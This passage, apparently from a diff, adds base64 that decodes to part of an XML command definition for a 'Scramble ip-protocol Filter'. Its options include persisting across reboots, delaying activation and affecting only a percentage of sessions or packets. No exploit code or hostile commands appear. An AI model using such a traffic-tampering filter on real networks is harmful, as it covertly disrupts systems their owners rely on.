+IDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl82PC9uY3Vyc2VpZD4N
+CiAgICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+RGVzdGluYXRpb24gTWFzazwvbmN1cnNlbGFi
+ZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAgICAgICAgICAgICAgICA8
+c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3By
+aW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjY8L2FyZ251bWJlcj4NCiAgICAg
+ICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+
+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl83PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJz
+ZWxhYmVsPlN0YXJ0IERzdCBQb3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJp
+YnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAg
+ICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAz
+PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj43PC9hcmdudW1iZXI+DQog
+ICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0
+ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJz
+ZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfODwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxu
+Y3Vyc2VsYWJlbD5FbmQgRHN0IFBvcnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0
+cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAg
+ICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAw
+MDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjg8L2FyZ251bWJlcj4N
+CiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmli
+dXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0
+cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmli
+Xzk8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Qcm90b2NvbDwvbmN1
+cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAg
+ICAgICAgIDxzaXplPjE2PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAw
+MDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+OTwvYXJnbnVtYmVy
+Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRy
+aWJ1dGU+DQogICAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxvcHRp
+b25hbF9hdHRyaWJ1dGVzLz4NCiAgICAgICAgPC9hdHRyaWJ1dGVzPg0KICAgICAgICA8cGFyYW1l
+dGVycz4NCiAgICAgICAgICA8cmVxdWlyZWRfcGFyYW1ldGVycy8+DQogICAgICAgICAgPG9wdGlv
+bmFsX3BhcmFtZXRlcnM+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9ImVuIj4NCiAgICAg
+ICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAg
+ICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9lbjwvbmN1cnNlaWQ+DQogICAgICAgICAgICAg
+IDxuY3Vyc2VsYWJlbD5FbmFibGU8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmli
+dXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnByZXNlbmNlPC90eXBlPg0KICAgICAgICAgICAg
+ICAgIDxzaXplPjE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT50cnVlPC9k
+ZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDA0PC9wcmlt
+aXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4yPC9hcmdudW1iZXI+DQogICAgICAg
+ICAgICAgICAgPGhlbHB0ZXh0PkVuYWJsZXMgdGhlIHJ1bGUgb24gY3JlYXRpb248L2hlbHB0ZXh0
+Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0K
+ICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJwcyI+DQogICAgICAgICAgICAgIDxjYXNlc2Vu
+c2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2Ny
+YW1ibGVfcGFyYW1fcHM8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+UGVy
+c2lzdDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAg
+ICAgICAgPHR5cGU+cHJlc2VuY2U8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTwvc2l6
+ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2YWx1ZT4NCiAg
+ICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDU8L3ByaW1pdGl2ZT4NCiAgICAgICAg
+ICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRl
+eHQ+RW5hYmxlIHRoZSBmaWx0ZXIgdG8gc3Vydml2ZSByZWJvb3RzLjwvaGVscHRleHQ+DQogICAg
+ICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAg
+ICAgICA8cGFyYW1ldGVyIGZsYWc9InIiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5m
+YWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3Bh
+cmFtX3I8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+QXV0byBSZXN0YXJ0
+PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAg
+ICA8dHlwZT5wcmVzZW5jZTwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0K
+ICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+dHJ1ZTwvZGVmYXVsdHZhbHVlPg0KICAgICAg
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAg
+ICAgIDxhcmdudW1iZXI+MTA8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+
+QXV0b21hdGljYWxseSByZS1lbmFibGUgdGhlIGZpbHRlciB3aGVuIHRlcm1pbmF0aW9uIGlzIHJl
+YWNoZWQuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAg
+ICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0idGQiPg0KICAgICAg
+ICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAg
+ICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3RkPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAg
+PG5jdXJzZWxhYmVsPlRpbWUgRGVsYXk8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0
+cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4NCiAgICAgICAgICAg
+ICAgICA8c2l6ZT4xNTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAw
+MDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjExPC9hcmdudW1iZXI+
+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PlRpbWUgYmVmb3JlIGZpbHRlciBhZmZlY3RzIHBh
+Y2tldHMuICBUaGUgZm9ybWF0IGNhbiBiZSBzZWNvbmRzIGkuZS4gMzYwMCwgb3Igb25lIGNoYXJh
+Y3RlciBzcGVjaWZpZXJzIGZvciBkYXlzLCBob3VycywgbWludXRlcywgYW5kIHNlY29uZHMgaS5l
+LiAxZCAyaCAzbSA0cy48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJ0Ij4N
+CiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAg
+ICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV90PC9uY3Vyc2VpZD4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWxhYmVsPlRpbWUgRHVyYXRpb248L25jdXJzZWxhYmVsPg0KICAgICAgICAg
+ICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4NCiAg
+ICAgICAgICAgICAgICA8c2l6ZT4xNTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZl
+PjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjEyPC9h
+cmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PkR1cmF0aW9uIHBhY2tldHMgd2ls
+bCBiZSBhZmZlY3RlZCBieSBmaWx0ZXIuICBUaGUgZm9ybWF0IGNhbiBiZSBzZWNvbmRzIGkuZS4g
+MzYwMCwgb3Igb25lIGNoYXJhY3RlciBzcGVjaWZpZXJzIGZvciBkYXlzLCBob3VycywgbWludXRl
+cywgYW5kIHNlY29uZHMgaS5lLiAxZCAyaCAzbSA0cy48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAg
+ICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBh
+cmFtZXRlciBmbGFnPSJzZCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9j
+YXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fc2Q8
+L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U2Vzc2lvbiBEZWxheTwvbmN1
+cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5
+cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAg
+ICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAg
+IDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdu
+dW1iZXI+MTM8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+TnVtYmVyIG9m
+IHNlc3Npb25zIHRvIGlnbm9yZSBiZWZvcmUgZmlsdGVyIGFmZmVjdHMgcGFja2V0cy48L2hlbHB0
+ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVy
+Pg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJzIj4NCiAgICAgICAgICAgICAgPGNhc2Vz
+ZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5z
+Y3JhbWJsZV9wYXJhbV9zPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlNl
+c3Npb24gUGVyY2VudGFnZTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxz
+aXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZh
+bHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0K
+ICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTQ8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAg
+ICA8aGVscHRleHQ+UGVyY2VudGFnZSBvZiBzZXNzaW9ucyBmaWx0ZXIgd2lsbCBhZmZlY3QuPC9o
+ZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFt
+ZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0ic20iPg0KICAgICAgICAgICAgICA8
+Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJz
+ZWlkPnNjcmFtYmxlX3BhcmFtX3NtPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxh
+YmVsPk1heCBTZXNzaW9uczwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxz
+aXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZh
+bHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0K
+ICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTU8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAg
+ICA8aGVscHRleHQ+TWF4aW11bSBudW1iZXIgb2Ygc2Vzc2lvbiB0byBhZmZlY3QgYmVmb3JlIGZp
+bHRlciBpcyB0ZXJtaW5hdGVkLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9
+InBkIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+
+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9wZDwvbmN1cnNlaWQ+DQog
+ICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5QYWNrZXQgRGVsYXk8L25jdXJzZWxhYmVsPg0KICAg
+ICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlw
+ZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVm
+YXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4
+MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE2PC9hcmdu
+dW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0Pk51bWJlciBvZiBwYWNrZXRzIHRvIGln
+bm9yZSBiZWZvcmUgZmlsdGVyIGFmZmVjdHMgcGFja2V0cy48L2hlbHB0ZXh0Pg0KICAgICAgICAg
+ICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAg
+PHBhcmFtZXRlciBmbGFnPSJwIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8
+L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9w
+PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlBhY2tldCBQZXJjZW50YWdl
+PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAg
+ICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQog
+ICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAg
+ICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAg
+PGFyZ251bWJlcj4xNzwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5QZXJj
+ZW50YWdlIG9mIHBhY2tldHMgZmlsdGVyIHdpbGwgYWZmZWN0LjwvaGVscHRleHQ+DQogICAgICAg
+ICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAg
+ICA8cGFyYW1ldGVyIGZsYWc9InBtIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFs
+c2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJh
+bV9wbTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5NYXggUGFja2V0czwv
+bmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAg
+PHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAg
+ICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAg
+ICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxh
+cmdudW1iZXI+MTg8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+TWF4aW11
+bSBudW1iZXIgb2YgcGFja2V0cyB0byBhZmZlY3QgYmVmb3JlIGZpbHRlciBpcyB0ZXJtaW5hdGVk
+LjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9w
+YXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9ImRpciI+DQogICAgICAgICAg
+ICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8
+bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fZGlyPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5j
+dXJzZWxhYmVsPkRpcmVjdGlvbjwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1
+dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAg
+IDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVs
+dHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZl
+Pg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTk8L2FyZ251bWJlcj4NCiAgICAgICAgICAg
+ICAgICA8aGVscHRleHQ+VGhlIGRpcmVjdGlvbiBpbiBhIGNsaWVudCBzZXJ2ZXIgY29ubmVjdGlv
+biB0aGF0IHRoaXMgZmlsdGVyIGFwcGxpZXMgdG8uICBJZiBmbGFnIGlzIG5vdCB1c2VkLCBib3Ro
+IGRpcmVjdGlvbiB3aWxsIGJlIGZpbHRlcmVkIG9uLiAgSWYgMSBpcyBlbnRlcmVkLCBvbmx5IGNv
+bm5lY3Rpb25zIGZyb20gdGhlIGNsaWVudCB3aWxsIGJlIGZpbHRlcmVkIG9uLiAgSWYgMiwgb25s
+eSB0aG9zZSBmcm9tIHRoZSBzZXJ2ZXIuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRy
+aWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIg
+ZmxhZz0ibCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0
+aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fbDwvbmN1cnNlaWQ+
+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Qcm90b2NvbCBBc3NpZ25tZW50PC9uY3Vyc2Vs
+YWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51
+aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAg
+ICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHBy
+aW1pdGl2ZT4weDBGMDAwMDA3PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJl
+cj4yPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PlZhbHVlIGZvciBwcm90
+b2NvbCBhc3NpZ25tZW50LjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgPC9vcHRpb25hbF9wYXJhbWV0ZXJz
+Pg0KICAgICAgICA8L3BhcmFtZXRlcnM+DQogICAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAg
+ICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPHRpdGxl
+PlNjcmFtYmxlIGlwLXByb3RvY29sIEZpbHRlcjwvdGl0bGU+DQogICAgICAgICAgICA8L2NvbHVt
+bj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAg
+ICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmli
+XzE8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRy
+aWJfMjwvZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0
+dHJpYl8zPC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVf
+YXR0cmliXzQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxj
+b2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNTwv
+ZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl82
+PC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmli
+Xzc8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRy
+aWJfODwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlv
+bj4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAg
+ICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfOTwvZWxlbWVudD4NCiAgICAgICAg
+ICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbi8+DQogICAgICAgICAgPC9zZWN0aW9u
+Pg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAg
+ICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fZW48L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2Nv
+bHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFt
+YmxlX3BhcmFtX3BzPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAg
+ICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9yPC9lbGVt
+ZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAg
+ICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgICA8ZWxl
+bWVudD5zY3JhbWJsZV9wYXJhbV90ZDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0K
+ICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9w
+YXJhbV90PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0
+aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAg
+ICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fc2Q8L2VsZW1lbnQ+DQogICAgICAgICAgICA8
+L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNj
+cmFtYmxlX3BhcmFtX3M8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAg
+ICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3NtPC9l
+bGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAg
+ICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVs
+ZW1lbnQ+c2NyYW1ibGVfcGFyYW1fcGQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4N
+CiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3Bh
+cmFtX3A8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1
+bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3BtPC9lbGVtZW50Pg0K
